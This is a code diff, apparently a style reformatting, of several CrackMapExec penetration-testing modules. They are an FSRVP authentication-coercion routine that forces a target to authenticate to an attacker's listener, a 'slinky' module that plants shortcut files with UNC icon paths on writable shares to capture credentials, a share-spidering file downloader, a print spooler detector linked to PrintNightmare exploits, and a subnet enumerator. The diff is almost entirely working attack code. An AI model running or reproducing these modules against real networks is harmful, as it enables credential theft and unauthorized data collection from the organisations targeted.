||||
|
||||
@@ -105,51 +158,64 @@ MSFSRVP_ERROR_CODES = {
|
||||
################################################################################
|
||||
class IsPathSupported(NDRCALL):
|
||||
opnum = 8
|
||||
structure = (
|
||||
('ShareName', WSTR),
|
||||
)
|
||||
structure = (("ShareName", WSTR),)
|
||||
|
||||
|
||||
class IsPathSupportedResponse(NDRCALL):
|
||||
structure = (
|
||||
('SupportedByThisProvider', BOOL),
|
||||
('OwnerMachineName', LPWSTR),
|
||||
("SupportedByThisProvider", BOOL),
|
||||
("OwnerMachineName", LPWSTR),
|
||||
)
|
||||
|
||||
|
||||
class IsPathShadowCopied(NDRCALL):
|
||||
opnum = 9
|
||||
structure = (
|
||||
('ShareName', WSTR),
|
||||
)
|
||||
structure = (("ShareName", WSTR),)
|
||||
|
||||
|
||||
class IsPathShadowCopiedResponse(NDRCALL):
|
||||
structure = (
|
||||
('ShadowCopyPresent', BOOL),
|
||||
('ShadowCopyCompatibility', LONG),
|
||||
("ShadowCopyPresent", BOOL),
|
||||
("ShadowCopyCompatibility", LONG),
|
||||
)
|
||||
|
||||
|
||||
OPNUMS = {
|
||||
8 : (IsPathSupported, IsPathSupportedResponse),
|
||||
9 : (IsPathShadowCopied, IsPathShadowCopiedResponse),
|
||||
8: (IsPathSupported, IsPathSupportedResponse),
|
||||
9: (IsPathShadowCopied, IsPathShadowCopiedResponse),
|
||||
}
|
||||
|
||||
|
||||
class CoerceAuth:
|
||||
def connect(self, username, password, domain, lmhash, nthash, target, pipe, doKerberos, dcHost):
|
||||
def connect(
|
||||
self,
|
||||
username,
|
||||
password,
|
||||
domain,
|
||||
lmhash,
|
||||
nthash,
|
||||
target,
|
||||
pipe,
|
||||
doKerberos,
|
||||
dcHost,
|
||||
):
|
||||
binding_params = {
|
||||
'FssagentRpc': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\FssagentRpc]' % target,
|
||||
'UUID': ('a8e0653c-2744-4389-a61d-7373df8b2292', '1.0')
|
||||
"FssagentRpc": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\FssagentRpc]" % target,
|
||||
"UUID": ("a8e0653c-2744-4389-a61d-7373df8b2292", "1.0"),
|
||||
},
|
||||
}
|
||||
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding'])
|
||||
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
|
||||
if hasattr(rpctransport, "set_credentials"):
|
||||
rpctransport.set_credentials(
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
)
|
||||
|
||||
dce.set_credentials(*rpctransport.get_credentials())
|
||||
dce.set_auth_type(RPC_C_AUTHN_WINNT)
|
||||
@@ -159,22 +225,22 @@ class CoerceAuth:
|
||||
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
cme_logger.info("Connecting to %s" % binding_params[pipe]['stringBinding'])
|
||||
|
||||
cme_logger.info("Connecting to %s" % binding_params[pipe]["stringBinding"])
|
||||
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
# If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @ShutdownRepo
|
||||
if str(e).find('STATUS_PIPE_NOT_AVAILABLE') >= 0:
|
||||
if str(e).find("STATUS_PIPE_NOT_AVAILABLE") >= 0:
|
||||
dce.disconnect()
|
||||
return 1
|
||||
|
||||
cme_logger.debug("Something went wrong, check error status => %s" % str(e))
|
||||
|
||||
cme_logger.info("Connected!")
|
||||
cme_logger.info("Binding to %s" % binding_params[pipe]['UUID'][0])
|
||||
cme_logger.info("Binding to %s" % binding_params[pipe]["UUID"][0])
|
||||
try:
|
||||
dce.bind(uuidtup_to_bin(binding_params[pipe]['UUID']))
|
||||
dce.bind(uuidtup_to_bin(binding_params[pipe]["UUID"]))
|
||||
except Exception as e:
|
||||
cme_logger.debug("Something went wrong, check error status => %s" % str(e))
|
||||
|
||||
@@ -187,15 +253,15 @@ class CoerceAuth:
|
||||
request = IsPathShadowCopied()
|
||||
# only NETLOGON and SYSVOL were detected working here
|
||||
# setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
|
||||
request['ShareName'] = '\\\\%s\\NETLOGON\x00' % listener
|
||||
request["ShareName"] = "\\\\%s\\NETLOGON\x00" % listener
|
||||
# request.dump()
|
||||
dce.request(request)
|
||||
except Exception as e:
|
||||
cme_logger.debug("Something went wrong, check error status => %s", str(e))
|
||||
cme_logger.debug("Attack may of may not have worked, check your listener...")
|
||||
return False
|
||||
return False
|
||||
|
||||
return True
|
||||
return True
|
||||
|
||||
def IsPathSupported(self, dce, listener):
|
||||
cme_logger.debug("Sending IsPathSupported!")
|
||||
@@ -203,11 +269,11 @@ class CoerceAuth:
|
||||
request = IsPathSupported()
|
||||
# only NETLOGON and SYSVOL were detected working here
|
||||
# setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
|
||||
request['ShareName'] = '\\\\%s\\NETLOGON\x00' % listener
|
||||
request["ShareName"] = "\\\\%s\\NETLOGON\x00" % listener
|
||||
dce.request(request)
|
||||
except Exception as e:
|
||||
cme_logger.debug("Something went wrong, check error status => %s", str(e))
|
||||
cme_logger.debug("Attack may of may not have worked, check your listener...")
|
||||
return False
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
+18
-14
@@ -11,10 +11,11 @@ class CMEModule:
|
||||
Original idea and PoC by Justin Angel (@4rch4ngel86)
|
||||
Module by @byt3bl33d3r
|
||||
"""
|
||||
|
||||
name = "slinky"
|
||||
description = "Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
opsec_safe = False
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
@@ -35,23 +36,23 @@ class CMEModule:
|
||||
|
||||
self.cleanup = False
|
||||
|
||||
if 'CLEANUP' in module_options:
|
||||
self.cleanup = bool(module_options['CLEANUP'])
|
||||
if "CLEANUP" in module_options:
|
||||
self.cleanup = bool(module_options["CLEANUP"])
|
||||
|
||||
if 'NAME' not in module_options:
|
||||
context.log.fail('NAME option is required!')
|
||||
if "NAME" not in module_options:
|
||||
context.log.fail("NAME option is required!")
|
||||
exit(1)
|
||||
|
||||
if not self.cleanup and 'SERVER' not in module_options:
|
||||
context.log.fail('SERVER option is required!')
|
||||
if not self.cleanup and "SERVER" not in module_options:
|
||||
context.log.fail("SERVER option is required!")
|
||||
exit(1)
|
||||
|
||||
self.lnk_name = module_options['NAME']
|
||||
self.lnk_name = module_options["NAME"]
|
||||
self.lnk_path = f"/tmp/{self.lnk_name}.lnk"
|
||||
self.file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
|
||||
|
||||
if not self.cleanup:
|
||||
self.server = module_options['SERVER']
|
||||
self.server = module_options["SERVER"]
|
||||
link = pylnk3.create(self.lnk_path)
|
||||
link.icon = f"\\\\{self.server}\\icons\\icon.ico"
|
||||
link.save()
|
||||
@@ -59,19 +60,22 @@ class CMEModule:
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if 'WRITE' in share['access'] and share['name'] not in ['C$', 'ADMIN$', 'NETLOGON']:
|
||||
if "WRITE" in share["access"] and share["name"] not in [
|
||||
"C$",
|
||||
"ADMIN$",
|
||||
"NETLOGON",
|
||||
]:
|
||||
context.log.success(f"Found writable share: {share['name']}")
|
||||
if not self.cleanup:
|
||||
with open(self.lnk_path, 'rb') as lnk:
|
||||
with open(self.lnk_path, "rb") as lnk:
|
||||
try:
|
||||
connection.conn.putFile(share['name'], self.file_path, lnk.read)
|
||||
connection.conn.putFile(share["name"], self.file_path, lnk.read)
|
||||
context.log.success(f"Created LNK file on the {share['name']} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
|
||||
else:
|
||||
try:
|
||||
connection.conn.deleteFile(share['name'], self.file_path)
|
||||
connection.conn.deleteFile(share["name"], self.file_path)
|
||||
context.log.success(f"Deleted LNK file on the {share['name']} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
|
||||
|
||||
|
||||
+68
-62
@@ -12,20 +12,20 @@ from impacket.smbconnection import SessionError
|
||||
|
||||
|
||||
CHUNK_SIZE = 4096
|
||||
suffixes = ['Bytes', 'KB', 'MB', 'GB', 'TB', 'PB']
|
||||
suffixes = ["Bytes", "KB", "MB", "GB", "TB", "PB"]
|
||||
|
||||
|
||||
def humansize(nbytes):
|
||||
i = 0
|
||||
while nbytes >= 1024 and i < len(suffixes)-1:
|
||||
nbytes /= 1024.
|
||||
while nbytes >= 1024 and i < len(suffixes) - 1:
|
||||
nbytes /= 1024.0
|
||||
i += 1
|
||||
f = ('%.2f' % nbytes).rstrip('0').rstrip('.')
|
||||
return '%s %s' % (f, suffixes[i])
|
||||
f = ("%.2f" % nbytes).rstrip("0").rstrip(".")
|
||||
return "%s %s" % (f, suffixes[i])
|
||||
|
||||
|
||||
def humaclock(time):
|
||||
return time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time))
|
||||
return time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(time))
|
||||
|
||||
|
||||
def make_dirs(path):
|
||||
@@ -43,12 +43,20 @@ def make_dirs(path):
|
||||
pass
|
||||
|
||||
|
||||
get_list_from_option = lambda opt: list(map(lambda o: o.lower(), filter(bool, opt.split(','))))
|
||||
get_list_from_option = lambda opt: list(map(lambda o: o.lower(), filter(bool, opt.split(","))))
|
||||
|
||||
|
||||
class SMBSpiderPlus:
|
||||
|
||||
def __init__(self, smb, logger, read_only, exclude_dirs, exclude_exts, max_file_size, output_folder):
|
||||
def __init__(
|
||||
self,
|
||||
smb,
|
||||
logger,
|
||||
read_only,
|
||||
exclude_dirs,
|
||||
exclude_exts,
|
||||
max_file_size,
|
||||
output_folder,
|
||||
):
|
||||
self.smb = smb
|
||||
self.host = self.smb.conn.getRemoteHost()
|
||||
self.conn_retry = 5
|
||||
@@ -81,16 +89,16 @@ class SMBSpiderPlus:
|
||||
filelist = []
|
||||
try:
|
||||
# Get file list for the current folder
|
||||
filelist = self.smb.conn.listPath(share, subfolder + '*')
|
||||
filelist = self.smb.conn.listPath(share, subfolder + "*")
|
||||
|
||||
except SessionError as e:
|
||||
self.logger.debug(f'Failed listing files on share "{share}" in directory {subfolder}.')
|
||||
self.logger.debug(str(e))
|
||||
|
||||
if 'STATUS_ACCESS_DENIED' in str(e):
|
||||
self.logger.debug(f"Cannot list files in directory \"{subfolder}\"")
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
self.logger.debug(f'Cannot list files in directory "{subfolder}"')
|
||||
|
||||
elif 'STATUS_OBJECT_PATH_NOT_FOUND' in str(e):
|
||||
elif "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
|
||||
self.logger.debug(f"The directory {subfolder} does not exist.")
|
||||
|
||||
elif self.reconnect():
|
||||
@@ -114,7 +122,7 @@ class SMBSpiderPlus:
|
||||
We retry 3 times if there is a SessionError that is not a `STATUS_END_OF_FILE`.
|
||||
"""
|
||||
|
||||
chunk = ''
|
||||
chunk = ""
|
||||
retry = 3
|
||||
|
||||
while retry > 0:
|
||||
@@ -142,24 +150,24 @@ class SMBSpiderPlus:
|
||||
try:
|
||||
# Get all available shares for the SMB connection
|
||||
for share in shares:
|
||||
perms = share['access']
|
||||
name = share['name']
|
||||
perms = share["access"]
|
||||
name = share["name"]
|
||||
|
||||
self.logger.debug(f"Share \"{name}\" has perms {perms}")
|
||||
self.logger.debug(f'Share "{name}" has perms {perms}')
|
||||
|
||||
# We only want to spider readable shares
|
||||
if not 'READ' in perms:
|
||||
if not "READ" in perms:
|
||||
continue
|
||||
|
||||
# `exclude_dirs` is applied to the shares name
|
||||
if name.lower() in self.exclude_dirs:
|
||||
self.logger.debug(f"Share \"{name}\" has been excluded.")
|
||||
self.logger.debug(f'Share "{name}" has been excluded.')
|
||||
continue
|
||||
|
||||
try:
|
||||
# Start the spider at the root of the share folder
|
||||
self.results[name] = {}
|
||||
self._spider(name, '')
|
||||
self._spider(name, "")
|
||||
except SessionError:
|
||||
traceback.print_exc()
|
||||
self.logger.fail(f"Got a session error while spidering")
|
||||
@@ -177,9 +185,9 @@ class SMBSpiderPlus:
|
||||
def _spider(self, share, subfolder):
|
||||
self.logger.debug(f'Spider share "{share}" on folder "{subfolder}"')
|
||||
|
||||
filelist = self.list_path(share, subfolder + '*')
|
||||
filelist = self.list_path(share, subfolder + "*")
|
||||
if share.lower() in self.exclude_dirs:
|
||||
self.logger.debug(f'The directory has been excluded')
|
||||
self.logger.debug(f"The directory has been excluded")
|
||||
return
|
||||
|
||||
# For each entry:
|
||||
@@ -196,20 +204,20 @@ class SMBSpiderPlus:
|
||||
continue
|
||||
|
||||
if result.is_directory():
|
||||
if result.get_longname() in ['.', '..']:
|
||||
if result.get_longname() in [".", ".."]:
|
||||
continue
|
||||
self._spider(share, next_path + '/')
|
||||
self._spider(share, next_path + "/")
|
||||
|
||||
else:
|
||||
# Record the file metadata
|
||||
self.results[share][next_path] = {
|
||||
'size': humansize(result.get_filesize()),
|
||||
"size": humansize(result.get_filesize()),
|
||||
#'ctime': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_ctime())),
|
||||
'ctime_epoch': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_ctime_epoch())),
|
||||
"ctime_epoch": time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(result.get_ctime_epoch())),
|
||||
#'mtime': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_mtime())),
|
||||
'mtime_epoch': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_mtime_epoch())),
|
||||
"mtime_epoch": time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(result.get_mtime_epoch())),
|
||||
#'atime': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_atime())),
|
||||
'atime_epoch': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_atime_epoch()))
|
||||
"atime_epoch": time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(result.get_atime_epoch())),
|
||||
}
|
||||
|
||||
# The collection logic is here. You can add more checks based
|
||||
@@ -217,7 +225,7 @@ class SMBSpiderPlus:
|
||||
|
||||
# Check the file extension. We check here to prevent the creation
|
||||
# of a RemoteFile object that perform a remote connection.
|
||||
file_extension = next_path[next_path.rfind('.')+1:]
|
||||
file_extension = next_path[next_path.rfind(".") + 1 :]
|
||||
if file_extension in self.exclude_exts:
|
||||
self.logger.debug(f'The file "{next_path}" has an excluded extension')
|
||||
continue
|
||||
@@ -225,7 +233,7 @@ class SMBSpiderPlus:
|
||||
# If there is not results in the file but the size is correct,
|
||||
# then we save it
|
||||
if result.get_filesize() > self.max_file_size:
|
||||
self.logger.debug(f'File {result.get_longname()} has size {result.get_filesize()}')
|
||||
self.logger.debug(f"File {result.get_longname()} has size {result.get_filesize()}")
|
||||
continue
|
||||
|
||||
## You can add more checks here: date, ...
|
||||
@@ -248,11 +256,11 @@ class SMBSpiderPlus:
|
||||
remote_file.close()
|
||||
|
||||
except SessionError as e:
|
||||
if 'STATUS_SHARING_VIOLATION' in str(e):
|
||||
if "STATUS_SHARING_VIOLATION" in str(e):
|
||||
pass
|
||||
except Exception as e:
|
||||
traceback.print_exc()
|
||||
self.logger.fail(f'Error reading file {next_path}: {str(e)}')
|
||||
self.logger.fail(f"Error reading file {next_path}: {str(e)}")
|
||||
|
||||
def save_file(self, remote_file):
|
||||
# Reset the remote_file to point to the begining of the file
|
||||
@@ -261,16 +269,16 @@ class SMBSpiderPlus:
|
||||
# remove the "\\" before the remote host part
|
||||
file_path = str(remote_file)[2:]
|
||||
# The remote_file.file_name contains '/'
|
||||
file_path = file_path.replace('/', os.path.sep)
|
||||
file_path = file_path.replace('\\', os.path.sep)
|
||||
file_path = file_path.replace("/", os.path.sep)
|
||||
file_path = file_path.replace("\\", os.path.sep)
|
||||
filename = file_path.split(os.path.sep)[-1]
|
||||
directory = os.path.join(self.output_folder, file_path[:-len(filename)])
|
||||
directory = os.path.join(self.output_folder, file_path[: -len(filename)])
|
||||
|
||||
# Create the subdirectories based on the share name and file path
|
||||
self.logger.debug(f'Create directory "{directory}"')
|
||||
make_dirs(directory)
|
||||
|
||||
with open(os.path.join(directory, filename), 'wb') as fd:
|
||||
with open(os.path.join(directory, filename), "wb") as fd:
|
||||
while True:
|
||||
chunk = self.read_chunk(remote_file)
|
||||
if not chunk:
|
||||
@@ -281,46 +289,44 @@ class SMBSpiderPlus:
|
||||
# Save the remote host shares metadatas to a json file
|
||||
# TODO: use the json file as an input to save only the new or modified
|
||||
# files since the last time.
|
||||
path = os.path.join(self.output_folder, f'{self.host}.json')
|
||||
with open(path, 'w', encoding='utf-8') as fd:
|
||||
path = os.path.join(self.output_folder, f"{self.host}.json")
|
||||
with open(path, "w", encoding="utf-8") as fd:
|
||||
fd.write(json.dumps(results, indent=4, sort_keys=True))
|
||||
|
||||
|
||||
class CMEModule:
|
||||
"""
|
||||
Spider plus module
|
||||
Module by @vincd
|
||||
Spider plus module
|
||||
Module by @vincd
|
||||
"""
|
||||
|
||||
name = 'spider_plus'
|
||||
description = 'List files on the target server (excluding `DIR` directories and `EXT` extensions) and save them to the `OUTPUT` directory if they are smaller then `SIZE`'
|
||||
supported_protocols = ['smb']
|
||||
opsec_safe= True # Does the module touch disk?
|
||||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
name = "spider_plus"
|
||||
description = "List files on the target server (excluding `DIR` directories and `EXT` extensions) and save them to the `OUTPUT` directory if they are smaller then `SIZE`"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True # Does the module touch disk?
|
||||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
|
||||
def options(self, context, module_options):
|
||||
|
||||
"""
|
||||
READ_ONLY Only list files and put the name into a JSON (default: True)
|
||||
EXCLUDE_EXTS Extension file to exclude (Default: ico,lnk)
|
||||
EXCLUDE_DIR Directory to exclude (Default: print$)
|
||||
MAX_FILE_SIZE Max file size allowed to dump (Default: 51200)
|
||||
OUTPUT Path of the remote folder where the dump will occur (Default: /tmp/cme_spider_plus)
|
||||
READ_ONLY Only list files and put the name into a JSON (default: True)
|
||||
EXCLUDE_EXTS Extension file to exclude (Default: ico,lnk)
|
||||
EXCLUDE_DIR Directory to exclude (Default: print$)
|
||||
MAX_FILE_SIZE Max file size allowed to dump (Default: 51200)
|
||||
OUTPUT Path of the remote folder where the dump will occur (Default: /tmp/cme_spider_plus)
|
||||
"""
|
||||
|
||||
self.read_only = module_options.get('READ_ONLY', True)
|
||||
self.exclude_exts = get_list_from_option(module_options.get('EXCLUDE_EXTS', 'ico,lnk'))
|
||||
self.exlude_dirs = get_list_from_option(module_options.get('EXCLUDE_DIR', 'print$'))
|
||||
self.max_file_size = int(module_options.get('SIZE', 50 * 1024))
|
||||
self.output_folder = module_options.get('OUTPUT', os.path.join('/tmp', 'cme_spider_plus'))
|
||||
self.read_only = module_options.get("READ_ONLY", True)
|
||||
self.exclude_exts = get_list_from_option(module_options.get("EXCLUDE_EXTS", "ico,lnk"))
|
||||
self.exlude_dirs = get_list_from_option(module_options.get("EXCLUDE_DIR", "print$"))
|
||||
self.max_file_size = int(module_options.get("SIZE", 50 * 1024))
|
||||
self.output_folder = module_options.get("OUTPUT", os.path.join("/tmp", "cme_spider_plus"))
|
||||
|
||||
def on_login(self, context, connection):
|
||||
|
||||
context.log.display('Started spidering plus with option:')
|
||||
context.log.display(' DIR: {dir}'.format(dir=self.exlude_dirs))
|
||||
context.log.display(' EXT: {ext}'.format(ext=self.exclude_exts))
|
||||
context.log.display(' SIZE: {size}'.format(size=self.max_file_size))
|
||||
context.log.display(' OUTPUT: {output}'.format(output=self.output_folder))
|
||||
context.log.display("Started spidering plus with option:")
|
||||
context.log.display(" DIR: {dir}".format(dir=self.exlude_dirs))
|
||||
context.log.display(" EXT: {ext}".format(ext=self.exclude_exts))
|
||||
context.log.display(" SIZE: {size}".format(size=self.max_file_size))
|
||||
context.log.display(" OUTPUT: {output}".format(output=self.output_folder))
|
||||
|
||||
spider = SMBSpiderPlus(
|
||||
connection,
|
||||
|
||||
+41
-35
@@ -4,13 +4,16 @@
|
||||
# https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/rpcdump.py
|
||||
from impacket import uuid
|
||||
from impacket.dcerpc.v5 import transport, epm
|
||||
from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
|
||||
RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
|
||||
RPC_PROXY_RPC_OUT_DATA_404_ERR
|
||||
from impacket.dcerpc.v5.rpch import (
|
||||
RPC_PROXY_INVALID_RPC_PORT_ERR,
|
||||
RPC_PROXY_CONN_A1_0X6BA_ERR,
|
||||
RPC_PROXY_CONN_A1_404_ERR,
|
||||
RPC_PROXY_RPC_OUT_DATA_404_ERR,
|
||||
)
|
||||
|
||||
KNOWN_PROTOCOLS = {
|
||||
135: {'bindstr': r'ncacn_ip_tcp:%s[135]'},
|
||||
445: {'bindstr': r'ncacn_np:%s[\pipe\epmapper]'},
|
||||
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
|
||||
445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
|
||||
}
|
||||
|
||||
|
||||
@@ -19,6 +22,7 @@ class CMEModule:
|
||||
For printnightmare: detect if print spooler is enabled or not. Then use @cube0x0's project https://github.com/cube0x0/CVE-2021-1675 or Mimikatz from Benjamin Delpy
|
||||
Module by @mpgn_x64
|
||||
"""
|
||||
|
||||
name = "spooler"
|
||||
description = "Detect if print spooler is enabled or not"
|
||||
supported_protocols = ["smb"]
|
||||
@@ -36,17 +40,16 @@ class CMEModule:
|
||||
PORT Port to check (defaults to 135)
|
||||
"""
|
||||
self.port = 135
|
||||
if 'PORT' in module_options:
|
||||
self.port = int(module_options['PORT'])
|
||||
if "PORT" in module_options:
|
||||
self.port = int(module_options["PORT"])
|
||||
|
||||
def on_login(self, context, connection):
|
||||
|
||||
entries = []
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
self.__stringbinding = KNOWN_PROTOCOLS[self.port]['bindstr'] % connection.host
|
||||
context.log.debug('StringBinding %s' % self.__stringbinding)
|
||||
self.__stringbinding = KNOWN_PROTOCOLS[self.port]["bindstr"] % connection.host
|
||||
context.log.debug("StringBinding %s" % self.__stringbinding)
|
||||
rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
|
||||
rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash)
|
||||
rpctransport.setRemoteHost(connection.host if not connection.kerberos else connection.hostname + "." + connection.domain)
|
||||
@@ -58,51 +61,55 @@ class CMEModule:
|
||||
try:
|
||||
entries = self.__fetch_list(rpctransport)
|
||||
except Exception as e:
|
||||
error_text = 'Protocol failed: %s' % e
|
||||
error_text = "Protocol failed: %s" % e
|
||||
context.log.critical(error_text)
|
||||
|
||||
if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \
|
||||
RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \
|
||||
RPC_PROXY_CONN_A1_404_ERR in error_text or \
|
||||
RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
|
||||
context.log.critical("This usually means the target does not allow "
|
||||
"to connect to its epmapper using RpcProxy.")
|
||||
if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or RPC_PROXY_CONN_A1_404_ERR in error_text or RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
|
||||
context.log.critical("This usually means the target does not allow " "to connect to its epmapper using RpcProxy.")
|
||||
return
|
||||
|
||||
# Display results.
|
||||
endpoints = {}
|
||||
# Let's group the UUIDS
|
||||
for entry in entries:
|
||||
binding = epm.PrintStringBinding(entry['tower']['Floors'])
|
||||
tmp_uuid = str(entry['tower']['Floors'][0])
|
||||
binding = epm.PrintStringBinding(entry["tower"]["Floors"])
|
||||
tmp_uuid = str(entry["tower"]["Floors"][0])
|
||||
if (tmp_uuid in endpoints) is not True:
|
||||
endpoints[tmp_uuid] = {}
|
||||
endpoints[tmp_uuid]['Bindings'] = list()
|
||||
endpoints[tmp_uuid]["Bindings"] = list()
|
||||
if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmp_uuid))[:18] in epm.KNOWN_UUIDS:
|
||||
endpoints[tmp_uuid]['EXE'] = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmp_uuid))[:18]]
|
||||
endpoints[tmp_uuid]["EXE"] = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmp_uuid))[:18]]
|
||||
else:
|
||||
endpoints[tmp_uuid]['EXE'] = 'N/A'
|
||||
endpoints[tmp_uuid]['annotation'] = entry['annotation'][:-1].decode('utf-8')
|
||||
endpoints[tmp_uuid]['Bindings'].append(binding)
|
||||
endpoints[tmp_uuid]["EXE"] = "N/A"
|
||||
endpoints[tmp_uuid]["annotation"] = entry["annotation"][:-1].decode("utf-8")
|
||||
endpoints[tmp_uuid]["Bindings"].append(binding)
|
||||
|
||||
if tmp_uuid[:36] in epm.KNOWN_PROTOCOLS:
|
||||
endpoints[tmp_uuid]['Protocol'] = epm.KNOWN_PROTOCOLS[tmp_uuid[:36]]
|
||||
endpoints[tmp_uuid]["Protocol"] = epm.KNOWN_PROTOCOLS[tmp_uuid[:36]]
|
||||
else:
|
||||
endpoints[tmp_uuid]['Protocol'] = "N/A"
|
||||
|
||||
endpoints[tmp_uuid]["Protocol"] = "N/A"
|
||||
|
||||
for endpoint in list(endpoints.keys()):
|
||||
if "MS-RPRN" in endpoints[endpoint]['Protocol']:
|
||||
context.log.debug("Protocol: %s " % endpoints[endpoint]['Protocol'])
|
||||
context.log.debug("Provider: %s " % endpoints[endpoint]['EXE'])
|
||||
context.log.debug("UUID : %s %s" % (endpoint, endpoints[endpoint]['annotation']))
|
||||
if "MS-RPRN" in endpoints[endpoint]["Protocol"]:
|
||||
context.log.debug("Protocol: %s " % endpoints[endpoint]["Protocol"])
|
||||
context.log.debug("Provider: %s " % endpoints[endpoint]["EXE"])
|
||||
context.log.debug("UUID : %s %s" % (endpoint, endpoints[endpoint]["annotation"]))
|
||||
context.log.debug("Bindings: ")
|
||||
for binding in endpoints[endpoint]['Bindings']:
|
||||
for binding in endpoints[endpoint]["Bindings"]:
|
||||
context.log.debug(" %s" % binding)
|
||||
context.log.debug("")
|
||||
context.log.highlight('Spooler service enabled')
|
||||
context.log.highlight("Spooler service enabled")
|
||||
try:
|
||||
host = context.db.get_hosts(connection.host)[0]
|
||||
context.db.add_host(host.ip, host.hostname, host.domain, host.os, host.smbv1, host.signing, spooler=True)
|
||||
context.db.add_host(
|
||||
host.ip,
|
||||
host.hostname,
|
||||
host.domain,
|
||||
host.os,
|
||||
host.smbv1,
|
||||
host.signing,
|
||||
spooler=True,
|
||||
)
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error updating spooler status in database")
|
||||
break
|
||||
@@ -122,4 +129,3 @@ class CMEModule:
|
||||
resp = epm.hept_lookup(None, dce=dce)
|
||||
dce.disconnect()
|
||||
return resp
|
||||
|
||||
|
||||
+47
-37
@@ -3,104 +3,114 @@
|
||||
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
|
||||
|
||||
def searchResEntry_to_dict(results):
|
||||
data = {}
|
||||
for attr in results['attributes']:
|
||||
key = str(attr['type'])
|
||||
value = str(attr['vals'][0])
|
||||
for attr in results["attributes"]:
|
||||
key = str(attr["type"])
|
||||
value = str(attr["vals"][0])
|
||||
data[key] = value
|
||||
return data
|
||||
|
||||
|
||||
class CMEModule:
|
||||
"""
|
||||
Retrieves the different Sites and Subnets of an Active Directory
|
||||
Retrieves the different Sites and Subnets of an Active Directory
|
||||
|
||||
Authors:
|
||||
Podalirius: @podalirius_
|
||||
Authors:
|
||||
Podalirius: @podalirius_
|
||||
"""
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
showservers Toggle printing of servers (default: true)
|
||||
showservers Toggle printing of servers (default: true)
|
||||
"""
|
||||
|
||||
self.showservers = True
|
||||
|
||||
if module_options and 'SHOWSERVERS' in module_options:
|
||||
if module_options['SHOWSERVERS'].lower() == "true" or module_options['SHOWSERVERS'] == "1":
|
||||
if module_options and "SHOWSERVERS" in module_options:
|
||||
if module_options["SHOWSERVERS"].lower() == "true" or module_options["SHOWSERVERS"] == "1":
|
||||
self.showservers = True
|
||||
elif module_options['SHOWSERVERS'].lower() == "false" or module_options['SHOWSERVERS'] == "0":
|
||||
elif module_options["SHOWSERVERS"].lower() == "false" or module_options["SHOWSERVERS"] == "0":
|
||||
self.showservers = False
|
||||
else:
|
||||
print("Could not parse showservers option.")
|
||||
|
||||
name = 'subnets'
|
||||
